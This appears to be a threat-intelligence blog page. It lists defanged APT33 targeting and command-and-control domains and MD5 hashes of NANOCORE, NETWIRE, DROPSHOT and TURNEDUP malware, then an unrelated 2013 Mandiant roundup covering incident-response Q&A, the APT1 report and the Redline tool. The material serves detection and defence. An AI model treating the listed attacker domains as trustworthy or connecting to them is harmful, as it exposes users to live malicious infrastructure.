APT33 Domains Likely Used in Initial Targeting

Domain

boeing.servehttp[.]com

alsalam.ddns[.]net

ngaaksa.ddns[.]net

ngaaksa.sytes[.]net

vinnellarabia.myftp[.]org

APT33 Domains / IPs Used for C2

C2 Domain

MALWARE

managehelpdesk[.]com

NANOCORE

microsoftupdated[.]com

NANOCORE

osupd[.]com

NANOCORE

mywinnetwork.ddns[.]net

NETWIRE

www.chromup[.]com

TURNEDUP

www.securityupdated[.]com

TURNEDUP

googlmail[.]net

TURNEDUP

microsoftupdated[.]net

TURNEDUP

syn.broadcaster[.]rocks

TURNEDUP

www.googlmail[.]net

TURNEDUP

Publicly Available Tools used by APT33

MD5

MALWARE

Compile Time (UTC)

3f5329cf2a829f8840ba6a903f17a1bf

NANOCORE

2017/1/11 2:20

10f58774cd52f71cd4438547c39b1aa7

NANOCORE

2016/3/9 23:48

663c18cfcedd90a3c91a09478f1e91bc

NETWIRE

2016/6/29 13:44

6f1d5c57b3b415edc3767b079999dd50

NETWIRE

2016/5/29 14:11

Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

0ccc9ec82f1d44c243329014b82d3125

DROPSHOT

(drops SHAPESHIFT

n/a - timestomped

fb21f3cea1aa051ba2a45e75d46b98b8

DROPSHOT

n/a - timestomped

3e8a4d654d5baa99f8913d8e2bd8a184

SHAPESHIFT

2016/11/14 21:16:40

6b41980aa6966dda6c3f68aeeb9ae2e0

SHAPESHIFT

2016/11/14 21:16:40

APT33 Malware MD5 Hashes

MD5

MALWARE

Compile Time (UTC)

8e67f4c98754a2373a49eaf53425d79a

DROPSHOT (drops TURNEDUP)

2016/10/19 14:26

c57c5529d91cffef3ec8dadf61c5ffb2

TURNEDUP

2014/6/1 11:01

c02689449a4ce73ec79a52595ab590f6

TURNEDUP

2016/9/18 10:50

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

59d0d27360c9534d55596891049eb3ef

TURNEDUP

2016/3/8 12:34

797bc06d3e0f5891591b68885d99b4e1

TURNEDUP

2015/3/12 5:59

8e6d5ef3f6912a7c49f8eb6a71e18ee2

TURNEDUP

2015/3/12 5:59

32a9a9aa9a81be6186937b99e04ad4be

TURNEDUP

2015/3/12 5:59

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

a813dd6b81db331f10efaf1173f1da5d

TURNEDUP

2015/3/9 16:56

de9e3b4124292b4fba0c5284155fa317

TURNEDUP

2015/3/9 16:56

a272326cb5f0b73eb9a42c9e629a0fd8

TURNEDUP

2015/3/9 16:56

b3d73364995815d78f6d66101e718837

TURNEDUP

2014/6/1 11:01

de7a44518d67b13cda535474ffedf36b

TURNEDUP

2014/6/1 11:01

b5f69841bf4e0e96a99aa811b52d0e90

TURNEDUP

2014/6/1 11:01

a2af2e6bbb6551ddf09f0a7204b5952e

TURNEDUP

2014/6/1 11:01

b189b21aafd206625e6c4e4a42c8ba76

TURNEDUP

2014/6/1 11:01

aa63b16b6bf326dd3b4e82ffad4c1338

TURNEDUP

2014/6/1 11:01

c55b002ae9db4dbb2992f7ef0fbc86cb

TURNEDUP

2014/6/1 11:01

c2d472bdb8b98ed83cc8ded68a79c425

TURNEDUP

2014/6/1 11:01

c6f2f502ad268248d6c0087a2538cad0

TURNEDUP

2014/6/1 11:01

c66422d3a9ebe5f323d29a7be76bc57a

TURNEDUP

2014/6/1 11:01

ae47d53fe8ced620e9969cea58e87d9a

TURNEDUP

2014/6/1 11:01

b12faab84e2140dfa5852411c91a3474

TURNEDUP

2014/6/1 11:01

c2fbb3ac76b0839e0a744ad8bdddba0e

TURNEDUP

2014/6/1 11:01

a80c7ce33769ada7b4d56733d02afbe5

TURNEDUP

2014/6/1 11:01

6a0f07e322d3b7bc88e2468f9e4b861b

TURNEDUP

2014/6/1 11:01

b681aa600be5e3ca550d4ff4c884dc3d

TURNEDUP

2014/6/1 11:01

ae870c46f3b8f44e576ffa1528c3ea37

TURNEDUP

2014/6/1 11:01

bbdd6bb2e8827e64cd1a440e05c0d537

TURNEDUP

2014/6/1 11:01

0753857710dcf96b950e07df9cdf7911

TURNEDUP

2013/4/10 10:43

d01781f1246fd1b64e09170bd6600fe1

TURNEDUP

2013/4/10 10:43

1381148d543c0de493b13ba8ca17c14f

TURNEDUP

2013/4/10 10:43

Best of the Best in 2013: The Armory

Everyone likes something for free. And there is no better place to go to get free analysis, intelligence and tools than The Armory on M-Unition. During the past year, we've offered intelligence and analysis on new threat activity, sponsored open source projects and offered insight on free tools like Redline™, all of which has been highlighted on our blog.

In case you've missed it, here are some of our most popular posts:

Challenges in Malware and Intelligence Analysis: Similar Network Protocols, Different Backdoors and Threat Groups

In this post, Mandiant's Intel shares insight on threat activity. Specifically, two separate APT groups, using two different backdoors that had very similar networking protocols. Read more to learn what they found.

New Release: OWASP Broken Web Applications Project VM Version 1.1

Chuck Willis overviews version 1.1 of the Mandiant-sponsored OWASP Broken Web Applications Project Virtual Machine (VM). If you are not familiar with this open source project, it provides a freely downloadable VM containing more than 30 web applications with known or intentional security vulnerabilities. Many people use the VM for training or self-study to learn about web application security vulnerabilities, including how to find them, exploit them, and fix them. It can also be used for other purposes such as testing web application assessment tools and techniques or understanding evidence of web application attacks.

Back to Basics Series: OpenIOC

Will Gibb and a few of his colleagues at Mandiant embark on a series going back to the basics and looking deeper at OpenIOC - how we got where we are today, how to make and use IOCs, and the future of OpenIOC.

Check out related posts here: The History of OpenIOC, Back to the Basics, OpenIOC, IOC Writer and Other Free Tools.

Live from Black Hat 2013: Redline, Turbo Talk, and Arsenal

Sitting poolside at Black Hat USA 2013, Mandiant's Kristen Cooper chats with Ted Wilson about Redline in this latest podcast. Ted leads the development of Redline where he provides innovative investigative features and capabilities enabling both the seasoned investigator and those with considerably less experience to answer the question, "have you been compromised?"

Utilities Industry in the Cyber Targeting Scope

Our intel team is back again, this time with an eye on the utilities industry. As part of our incident response and managed defense work, Mandiant has observed Chinese APT groups exploiting the computer networks of U.S. utilities enterprises servicing or providing electric power to U.S. consumers, industry, and government. The most likely targets for data theft in this industry include smart grid technologies, water and waste management expertise, and negotiations information related to existing or pending deals involving Western utilities companies operating in China.

Q&A Webinar Follow-Up – State of the Hack: Back to the Remediation

As a follow-up to our recently held State of the Hack: Back to the Remediation webinar, questions answered by presenter Jim Aldridge are listed below. 

  1. How do you develop a business case for resources for security incident management, remediation, and log analysis?
    This is an area with which many organizations that have not experienced an incident struggle with. I would recommend conducting a realistic incident simulation to exercise the organization's incident response plan. This should go beyond a table-top exercise and actually test responders' capabilities to use logs to identify and track attacker activity. This approach should provide the organization a good understanding of weaknesses in these areas. For example, I assisted a bank with planning and executing this type of exercise. They were concerned about targeted threats and had never experienced a security breach. After a series of meetings to better understand their environment, we designed a scenario based on an incident we had worked on in the past. In their scenario, picture a blank screen with a SQL Server and a question mark on it. We would give them a clue, and then we would on and say, "Okay, so what would you do if you got this information?" And then we provided a little bit more of the diagram. It was in the style of a choose your own adventure.
  2. During incident response what tools do you use for networking indicators; are any of them open source?
    Typically, we like to deploy our network sensors, which we don't offer as a standalone product at this time. That intelligence is only available as part of our Managed Defense™ service, in large part due to the back end processing that's involved. I would categorize those as proprietary. They do a lot for us, but we also leverage whatever the client has in place.
    t
    Sources of helpful information include:
    • Firewall logs (established connection information)
    • DNS logs (which host resolved a given domain name at a given time)
    • NetFlow (connection information)

    One of the more mature security organizations that I've worked an incident with has a particularly effective network monitoring set up. They collect NetFlow information from across the environment. This enables them to rapidly identify lateral movement.

  3.  

  4. Is the Mandiant incident response tool available to the public?
    Mandiant for Intelligent Response® is a commercial product. As I mentioned, Redline™ is a free tool that I encourage you to take a look at. It is very similar to MIR in terms of the capabilities on individual hosts, but it's designed to be executed against one host versus an enterprise.
  5. What are your thoughts on best countermeasures against pass the hash tactics?
    It is most important to prevent the attacker from getting access to that hash in the first place. That's one reason why I like application whitelisting so much, particularly on domain controllers, because this can prevent even a domain admin from running the hash dumper. Unfortunately, once the attacker has that hash, it's not good. Another strategy is to reduce the number of places where an attacker could readily obtain privileged users' hashes. First, privileged users should operate with non-privileged accounts for their day-to-day activities. This helps reduce the impact of a spear phishing email or strategic web compromise that impacts that user. To conduct administration activities, connect to a jump server using two-factor authentication. Maybe incorporate a password vault so that the vault connects the user to the jump server, after a two-factor authentication process, and the password is never divulged to the user (or present on the admin's PC). Then lock down the jump server with application whitelisting, implement enhanced logging and monitoring. Configure firewalls and systems to only accept inbound connections on administrative services from the jump servers and not from the network at large. Each of these countermeasures helps to mitigate a part of the attack lifecycle; implementing them together can help greatly strengthen the security posture.
  6. What kind of back door were the attackers using on the first infected systems?
    That varies widely. On some cases I worked recently we've seen Gh0st RAT, we've seen Poison Ivy, we've seen a custom back door that doesn't really have a name because it's something that this one particular group uses. The particular tool there wasn't the point, just more the fact that they were infected. We're seeing a lot more use of publicly available back doors. They can be pretty effective, and can also be hard to detect.
  7. How would one ever determine the true scope of a foothold in a global environment if it's using multiple command and control points?
    To answer that question, you have to start by comprehensively surveying the environment for indicators of compromise (IOC). You start by taking the pieces of information you know, e.g. the backdoors the attacker is known to use, known compromised accounts, and command-and-control IP addresses. Perhaps this yields you two systems that are initially suspected of being compromised. You then you ask the question, "Well, where did they go from those two systems? How did they get on those two systems?" You conduct forensic analysis to understand all the facts related to those systems: how did they gain access, what did they do, where did they go, and what tools did they use. Then you follow those threads, identifying more systems. This can be challenging in a large environment, which is one of the really helpful use cases for Mandiant for Intelligent Response. The largest organization where I have conducted this type of incident response had around 135,000 hosts. With a team of five or six people and about eight weeks, we could get a handle on that environment.
  8. How do we balance the need to contain and respond and the need to preserve forensic evidence?
    It depends on whether you think that it's likely to go to court or in litigation. You want to make sure that your procedures are as least intrusive as possible, but typically in most APT-type cases, we don't really worry as much about formal chain of custody for systems or preserving every system in its original state. The way I would look at it is, I would develop a set of procedures for your organization to talk about how you determine when you need to preserve and what that means and what your standard operating procedures are, so that you can explain and minimize - both explain what you're doing as well as minimize - the impact on systems.

Mandiant Exposes APT1 – One of China’s Cyber Espionage Units & Releases 3,000 Indicators

Today, The Mandiant® Intelligence Center™ released an unprecedented report exposing APT1's multi-year, enterprise-scale computer espionage campaign. APT1 is one of dozens of threat groups Mandiant tracks around the world and we consider it to be one of the most prolific in terms of the sheer quantity of information it has stolen.

Highlights of the report include:

  • Evidence linking APT1 to China's 2nd Bureau of the People's Liberation Army (PLA) General Staff Department's (GSD) 3rd Department (Military Cover Designator 61398).
  • A timeline of APT1 economic espionage conducted since 2006 against 141 victims across multiple industries.
  • APT1's modus operandi (tools, tactics, procedures) including a compilation of videos showing actual APT1 activity.
  • The timeline and details of over 40 APT1 malware families.
  • The timeline and details of APT1's extensive attack infrastructure.

Mandiant is also releasing a digital appendix with more than 3,000 indicators to bolster defenses against APT1 operations. This appendix includes:

  • Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware.
  • Thirteen (13) X.509 encryption certificates used by APT1.
  • A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons.
  • IOCs that can be used in conjunction with Redline™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR), Mandiant's commercial enterprise investigative tool.

The scale and impact of APT1's operations compelled us to write this report. The decision to publish a significant part of our intelligence about Unit 61398 was a painstaking one. What started as a "what if" discussion about our traditional non-disclosure policy quickly turned into the realization that the positive impact resulting from our decision to expose APT1 outweighed the risk of losing much of our ability to collect intelligence on this particular APT group. It is time to acknowledge the threat is originating from China, and we wanted to do our part to arm and prepare security professionals to combat the threat effectively. The issue of attribution has always been a missing link in the public's understanding of the landscape of APT cyber espionage. Without establishing a solid connection to China, there will always be room for observers to dismiss APT actions as uncoordinated, solely criminal in nature, or peripheral to larger national security and global economic concerns. We hope that this report will lead to increased understanding and coordinated action in countering APT network breaches.

We recognize that no one entity can understand the entire complex picture that many years of intense cyber espionage by a single group creates. We look forward to seeing the surge of data and conversations a report like this will likely generate.

Dan McWhorter

Managing Director, Threat Intelligence

M-Unition Podcast: Mandiant’s Redline Tool Makes Incident Response Easy for Experts and Beginners

On today's podcast, Kristen Cooper talks with Lucas Zaichkowsky on the latest version of Redline, a free tool from Mandiant.

The podcast will explain in detail what Redline is capable of, highlighting two features that set it apart from other tools. First, the tool is intuitive enough to be used by novice incident responders, without compromising capabilities that advanced incident responders utilize in the tool. Secondly, the tool is capable of applying Indicators of Compromise (IOC) to data that it collects. This allows Redline to detect evidence of attacks, even though there may be no evidence of active malware on additional computers.

Listen along as Lucas details the product demonstration he performed at Black Hat 2012 that really showcases Redline's unique value.

To listen to the full podcast and learn more about Redline click here.

M-Trends #1: Malware Only Tells Half the Story

When I joined Mandiant earlier this year, I was given the opportunity to help write our annual M-Trends report. This is the third year Mandiant has published the report, which is a summary of the trends we've observed in our investigations over the last twelve months.

I remember reading Mandiant's first M-Trends report when it came out in 2010 and recall being surprised that Mandiant didn't pull any punches. They talked about the advanced persistent threat or APT (they had been using that term for several years...long before it was considered a cool marketing, buzz word), and they were open about the origin of the attacks. The report summarized what I'd been seeing in industry, and offered useful insights for detection and response. Needless to say, I enjoyed the opportunity to work on the latest version.

In this year's report it details six trends we identified in 2011. We developed the six trends for the report very organically. That is, I spent quite a few days and nights reading all of the reports from our outstanding incident response team and wrote about what we saw-we didn't start with trends and then look for evidence to support them.

If you haven't picked up a copy of the report yet, you can do so here. I will be blogging on each of the six trends over the next two weeks; you can even view the videos we've developed for each trend as each blog post is published:

Malware Only Tells Half the Story.

Of the many systems compromised in each investigation, about half of them were never touched by attacker malware.

In so many cases, the intruders logged into systems and took data from them (or used them as a staging point for exfiltration), but didn't install tools. It is ironic that the very systems that hold the data targeted by an attacker are probably the least likely to have malware installed on them. While finding the malware used in an intrusion is important, it is impossible to understand the full scope of an intrusion if this is the focal point of the investigation. We illustrate actual examples of this in the graphical spread on pages 6-7 of the report.

What does this mean for victim organizations?

You could start by looking for malware, but don't end there! A smart incident response process will seek to fully understand the scope of compromise and find all impacted systems in the environment. This could mean finding the registry entries that identify lateral movement, traces of deleted .rar files in unallocated space, or use of a known compromised account. It turns out that Mandiant has a product that does all of this, but the footnote on page 5 is the only mention you'll see in the entire report (and even that was an afterthought).

Thoughts and questions about this trend or the M-Trends report?